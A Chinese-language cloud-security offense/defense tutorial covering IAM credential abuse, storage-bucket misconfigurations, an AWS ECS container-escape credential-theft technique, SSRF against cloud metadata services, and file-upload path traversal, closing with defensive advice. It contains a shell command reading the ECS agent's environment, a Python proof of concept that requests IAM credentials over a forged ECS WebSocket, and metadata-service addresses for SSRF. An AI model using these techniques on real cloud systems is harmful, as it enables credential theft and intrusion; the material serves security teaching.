云服务安全攻防：漏洞挖掘技术与实践教学文档

前言

随着云服务的普及和应用，云安全已成为企业关注的重点和痛点。本文从IAM凭据滥用、云上容器逃逸、云主机Web应用漏洞三大方面，结合具体实例分析云上安全问题。

一、IAM凭据滥用

1.1 漏洞原理

IAM（身份与访问管理）服务提供账号全生命周期管理、身份管理、认证、权限、审计等功能。其核心风险在于：

1. 权限过度分配：策略中过度使用*通配符
2. 信任关系滥用：信任策略配置错误，允许不可信实体担任高权限角色
3. 权限传递失控：通过AssumeRole接口获取角色临时凭证时缺乏限制
4. 权限边界模糊：低权限用户被配置高权限

攻击思路：通过配置错误或凭证泄露获取云服务访问权限。

1.2 漏洞利用实践

（1）存储桶权限配置错误

• 问题：存储桶配置为可公开访问
• 利用方法：
  • 直接访问存储桶地址
  • 使用工具爬取敏感文件（如OSSFileBrowse）

（2）云服务认证Key泄漏

泄漏途径：

• GitHub仓库配置不当
• 云架构中的密码重用
• 针对云租户的社工攻击（如AWS Credential Harvesting钓鱼）
• 公共存储桶中的密钥泄露
• 第三方数据泄露
• 硬编码在网页、源码或APP中的AK/SK

（3）低权限用户访问高权限存储桶

攻击步骤：

1. 以低权限用户身份上传文件至存储桶
2. 修改存储桶地址为根目录
3. 访问返回的存储桶地址获取完整查看权限

（4）云服务任意文件操作

常见场景：上传头像、图片、文件等业务功能

利用方法：

1. 构造数据包上传任意文件（exe、html等）
2. 文件覆盖攻击：
   • 保持filename和文件目录一致
   • 通过js获取同一桶下文件地址
   • 替换上传文件地址覆盖原有文件

二、容器逃逸（AWS ECS ECScape漏洞）

2.1 漏洞原理

核心问题：云服务对实例元数据服务的过度信任

技术背景：

• AWS EC2实例内部运行元数据服务（IP：169.254.169.254）
• 容器可通过该服务获取实例配置信息和临时安全凭证
• ECS代理与元数据服务存在特殊信任关系
• 攻击者可模拟ECS代理身份，欺骗元数据服务返回其他容器的IAM凭证

2.2 漏洞利用实践

前提条件

已获取容器群内某一容器的控制权限

攻击步骤

第一步：获取ECS集群信息

# 获取ECS Agent通信端点
ECS_AGENT_URI=$(cat /proc/$(pidof ecs-agent)/environ | tr '\0' '\n' | grep ECS_AGENT_URI | cut -d= -f2)
echo "ECS Agent URI: $ECS_AGENT_URI"

# 通过自省API获取任务列表
http://localhost:8080/v1/task1

第二步：伪造ACS WebSocket请求
关键参数：

• cluster：目标ECS集群ARN
• containerInstance：当前容器实例ARN
• taskArn：目标任务ARN（通过自省API获取）
• sendCredentials=true：强制返回IAM凭证

POC示例：

import websockets
import asyncio

async def steal_credentials():
    # 伪造WebSocket URL（需先签名）
    ws_url = "wss://ecs-a-1.us-east-1.amazonaws.com/ws?" \
            "cluster=arn:aws:ecs:us-east-1:xxxxx:cluster/my-cluster&" \
            "containerInstance=arn:aws:ecs:us-east-1:xxxx:container-instance/xxxxxx&" \
            "taskArn=arn:aws:ecs:us-east-1:xxxxxx:task/my-cluster/xxxxx&" \
            "sendCredentials=true"
    
    async with websockets.connect(ws_url) as websocket:
        # 发送心跳维持连接
        await websocket.send('{"type":"Ack","message":"keepalive"}')
        
        # 接收ECS Agent返回的凭证
        credentials = await websocket.recv()
        print(f"Stolen IAM Credentials: {credentials}")

asyncio.get_event_loop().run_until_complete(steal_credentials())

ARN格式说明

参考官方文档：https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html

三、云主机Web应用漏洞

3.1 云上SSRF漏洞利用

利用条件：元数据服务部署在链路本地地址，缺乏安全检测措施

各云厂商元数据服务地址：

• 阿里云：http://100.100.100.200/
• 腾讯云：http://metadata.tencentyun.com/
• 华为云：http://169.254.169.254/
• AWS：http://169.254.169.254/

攻击案例：

1. 检测存在SSRF漏洞的接口
2. 根据响应判断云厂商
3. 传入对应元数据服务地址读取元数据

3.2 跨目录文件上传

利用方法：使用../../进行路径遍历，实现任意文件上传

3.3 逻辑漏洞利用

场景：用户只有存储桶上传权限，但需要获取更多权限

攻击步骤：

1. 访问云服务根目录发现文件泄露
2. 直接访问文件被拒绝（deny）
3. 利用前端自动预签名机制：
   • 用户拉取文件时传参为云服务地址
   • 通过预签名传入云服务根目录
   • 获取云服务返回的文件地址
   • 访问预签名地址获取存储桶权限

防御建议

IAM安全配置

1. 遵循最小权限原则
2. 避免使用通配符*
3. 定期审计权限配置
4. 实施多因素认证

容器安全

1. 限制容器对元数据服务的访问
2. 使用服务网格进行网络隔离
3. 定期更新ECS Agent

Web应用安全

1. 实施严格的输入验证
2. 禁用不必要的元数据服务访问
3. 使用云服务商提供的安全扫描工具
4. 实施完整的访问控制策略

总结

云服务安全需要从配置管理、身份认证、网络隔离等多个层面进行防护。通过理解这些漏洞原理和利用技术，可以更好地制定防御策略，保护云环境安全。

文档根据《新型云服务安全攻防：漏洞挖掘技术与实践》整理，仅供学习使用